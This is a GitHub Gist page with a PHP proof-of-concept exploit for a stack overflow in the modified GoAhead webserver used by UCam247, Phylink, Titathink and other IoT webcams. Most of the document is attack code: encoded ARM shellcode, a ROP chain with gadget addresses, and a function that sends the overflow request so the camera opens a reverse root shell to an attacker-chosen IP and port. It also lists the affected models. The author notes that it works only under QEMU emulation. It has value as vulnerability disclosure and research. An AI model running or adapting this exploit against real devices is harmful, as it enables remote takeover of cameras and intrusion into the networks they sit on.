-
-
Save ns3777k/403afcc1b9cff098307ccb4b69a9557f to your computer and use it in GitHub Desktop.
UCam247/Phylink/Titathink/YCam/Anbash/Trivision/Netvision/others IoT webcams : remote code exec: reverse shell PoC. (works only in qemu usermode)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
NB: THIS PoC ONLY WORKS IN QEMU USERMODE EMULATION! | |
If anyone wants to fix this, go ahead (no pun intended). | |
However, I don't have a vulnerable product and am unwilling to acquire one. | |
------------------------- | |
UCam247/Phylink/Titathink/YCam/Anbash/Trivision/Netvision/others | |
remote code exec: reverse shell PoC. | |
This exploits a stack overflow in the websSecurityHandler() function of | |
the modded goahead webserver used by many different IoT cameras. | |
Basically, code like the following is included near the beginning of | |
the function: | |
----- | |
// original code | |
type = websGetRequestType(wp); | |
password = websGetRequestPassword(wp); | |
userid = websGetRequestUserName(wp); | |
flags = websGetRequestFlags(wp); | |
// added code | |
if (query != NULL) { | |
sprintf(querysearch, "%s=", "basic"); // querysearch is a 256-byte char array on the stack | |
char* queryval = strstr(query,querysearch); | |
if (queryval != NULL) { | |
char* ptr = &queryval[strlen(querysearch)]; | |
int i = 0; | |
while ((ptr[i] != NULL) && (ptr[i] != '&')) { | |
queryval_cpy[i] = ptr[i]; // queryval_cpy is a 256-byte char array on the stack | |
i++; | |
} | |
queryval_cpy[i] = 0; | |
strcpy(debase64,""); // debase64 is a 256-byte char array on the stack. also, wtf? | |
websDecode64(debase64,queryval_cpy,256); | |
userid = strtok(debase64,":"); | |
password = strtok(0,""); // again, wtf? | |
} | |
} | |
if (!strcmp(path,"/")) { | |
return 0; | |
} | |
// original code | |
accessLimit = umGetAccessLimit(path); | |
if (accessLimit == NULL) { | |
return 0; | |
} | |
----- | |
I'm pretty sure you can see the vuln here, that big glaring inline | |
strcpy onto the stack. | |
On exit of the function, r11 points to an address on the stack that's | |
0x3C8 past the start of the queryval_cpy variable. This can be used if | |
needed, however, thanks to the large list of bad bytes (other than 0x0, | |
and 0x26, 0x23 ('#') is also a bad byte, as is 0x20, and 0x1F and below | |
along with a couple of other bytes get corrupted to 0x5F or 0xCF. | |
Thanks to this complication, this exploit uses a small ROP chain to get | |
shellcode execution in thumb mode, and so the shellcode can be located | |
directly after the ROP chain to save space. | |
Also, the shellcode has to be encoded, and an encoder had to be made | |
that did not use any bad bytes. More information about that below. | |
This also means that you cannot use certain IPs and ports for your | |
reverse shell. You can of course rectify this if required by increasing | |
the length of the encoded bytes, and storing the sockaddr struct | |
encrypted in addition to the shellcode itself. | |
Please note that to avoid bad bytes, the shellcode itself sets the first | |
16 bits of the sockaddr struct (on entry the first 16 bits is a | |
placeholder value, ie, 0xFFFF). | |
Full list of *known* affected models: | |
UCam247: NC308W/NC328W (UCam247i/247i-HD/247i-1080HD/247-HDO1080) | |
Phylink: 213W/223W/233W/325PW/336PW | |
Titathink: Babelens/TT520G/TT520PW/TT521PW/TT522PW/TT610W/TT620CW/TT620W | |
TT630CW/TT630W/TT730LPW/TT730PW | |
Basically the entire (still supported?) product line ;) | |
YCam: Any device running a firmware dated 2014-04-06 or above | |
Anbash: NC223W/NC322W/NC325W | |
Trivision: 228WF/239WF/240WF/326PW/336PW | |
Netvision: NCP2255I/NCP2475E | |
Affected models which use a different libc and therefore need a port: | |
(I'll let someone else do that, anyone want to take on the challenge?) | |
UCam247: NC328SW (UCam247-HDO1080Plus) | |
Phylink: 325SPW/325SPW | |
*/ | |
echo <<<END | |
_____ ______________ ____ ______________ ____ ....:: .. ....... | |
T Y T ______ T T \ T T _____ T T T .: :::' .: .:' | |
| | | l____j |\_/\_/\ \| | l___j | | |.: .::' .: .. .:' | |
| | | _____j / _ | _ ____j__j | .::' .::...::. .:' | |
l_________j T \_/\_/| |\ |_______j____ | .::' :: .:' | |
| | l___j \___j | l__j |.:'' ... :: .:' | |
l___j |________j::...: .:' | |
[ p l u g a n d v i e w r e m o t e s h e l l s ] | |
[*] UPwned247: UCam247/Phylink/Titathink/YCam/Anbash/Trivision/Netvision/others | |
remote code execution - reverse rootshell PoC! <3 | |
[*] Another *Ring of Lightning* production, all work done by slipstream/RoL! | |
https://twitter.com/TheWack0lian :: https://rol.im/chat/ | |
END; | |
/* Shellcode is based on midnitesnake's reverse shell Thumb PIC. | |
It's been modified and crypted here, to avoid hitting bad bytes. | |
(The shellcode decrypter was done by myself, and again avoids hitting bad | |
bytes.) | |
(The shellcode is crypted with XOR 0x60, this constant was chosen just | |
because no bad bytes are hit when using it.) | |
It's not the smallest shellcode in the world, with lots of padding. Again | |
because of the bad bytes. | |
Known bad bytes: <= 0x20, 0x23, 0x26. | |
Bad bytes here either terminate the string or get corrupted to 0x5F. | |
*/ | |
$shellcode = array( | |
0x24,0xa4,0x38,0x21, | |
0x22,0x4b,0x27,0x68, | |
0x5f,0x40,0x27,0x60, | |
0x21,0x3c,0x25,0x34, | |
0x21,0x31,0x25,0x39, | |
0xf7,0xd1,0x3d,0xe0, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x41,0x41,0x41,0x41, | |
0x60,0x60,0x60,0x60, | |
0x62,0x40,0x61,0x41, | |
0xf2,0x7a,0x6f,0x62, | |
0x79,0x57,0x61,0xbf, | |
0x66,0x7c,0x6a,0xc1, | |
0x62,0x42,0x6a,0xe0, | |
0x70,0x42,0x62,0x57, | |
0x61,0xbf,0x5f,0x47, | |
0x62,0x41,0x50,0x7c, | |
0x61,0xbf,0x61,0x59, | |
0x9b,0xb5,0x66,0xc0, | |
0xf2,0x7a,0x65,0xd4, | |
0x9f,0x7b,0x60,0xcf, | |
0x59,0x7c,0x6b,0x47, | |
0x61,0xbf,0x5f,0x7c, | |
0xff,0xff | |
); | |
$shellcode = implode('',array_map(function($a) { return chr($a); },$shellcode)); | |
$rop = pack('V', | |
0xF67BF954) // mov r0,r11 ; add sp,sp,#0x64 ; ldmfd sp!,{r4-r11, lr} ; bx lr | |
.str_repeat('A',0x64) // stack filler | |
.pack('V*', | |
0x34343434, // r4 | |
0x35353535, // r5 | |
0x36363636, // r6 | |
0x37373737, // r7 | |
0x38383838, // r8 | |
0x39393939, // r9 | |
0x30303030, // r10 | |
0x31313131, // r11 | |
0xf67b99a0, // pop {r2, r3, r4, lr} ; bx lr | |
0x32323232, // r2 | |
0x21212122, // r3 | |
0x34343434, // r4 | |
0xf67b95cc, // add r0, r3, r0 ; pop {r4, r5, r6, lr} ; bx lr | |
0x34343434, // r4 | |
0x35353535, // r5 | |
0x36363636, // r6 | |
0xf67b99a0, // pop {r2, r3, r4, lr} ; bx lr | |
0x32323232, // r2 | |
0xdededcff, // r3 // this makes r3 point directly after the rop chain. change this if your rop chain is bigger. | |
0x34343434, // r4 | |
0xf67b95cc, // add r0, r3, r0 ; pop {r4, r5, r6, lr} ; bx lr | |
0x34343434, // r4 | |
0x35353535, // r5 | |
0x36363636, // r6 | |
0xf67b7a94 // mov r3, r0 ; mov r0, sp ; mov lr, pc ; bx r3 | |
); | |
// quick self checks | |
function show_usage($a) { | |
echo '[*] Usage: '.$a.' <host> <reverse shell IP> <reverse shell port>...'."\r\n"; | |
die(); | |
} | |
function pwn($host) { | |
global $shellcode; | |
global $rop; | |
echo "[+] Crafting request for $host ...\r\n"; | |
$url = 'http://' . $host . '/?basic='; | |
$url .= str_repeat('A',0x100); | |
$url .= '4444555566667777888899990000'; // r4 to r10 values | |
$url .= $rop; | |
$url .= $shellcode; | |
echo "[+] Sending request, make sure you have netcat up...\r\n"; | |
$ctx = stream_context_create(array('http'=>array('timeout'=>10))); | |
@file_get_contents($url,false,$ctx); | |
} | |
if ($argc < 3) show_usage($argv[0]); | |
$host = $argv[1]; | |
$ip = array_map(function($a) { return (int)$a; },explode('.',$argv[2])); | |
if (count($ip) < 4) show_usage($argv[0]); | |
$port = (int) $argv[3]; | |
if ($port == 0) show_usage($argv[0]); | |
$shellcode .= pack('nCCCC',$port,$ip[0],$ip[1],$ip[2],$ip[3]) . "/bin/sh"; | |
for ($i = 0; $i < 0x21; $i++) { | |
if (strpos($rop.$shellcode,chr($i)) !== false) | |
die("[-] Shellcode or ROP chain has an invalid byte in it!"); | |
} | |
foreach (array('&','#') as $i) { | |
if (strpos($rop.$shellcode,$i) !== false) | |
die("[-] Shellcode or ROP chain has an invalid byte in it!"); | |
} | |
file_put_contents('arm_shellcode.bin',$shellcode); | |
pwn($host); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment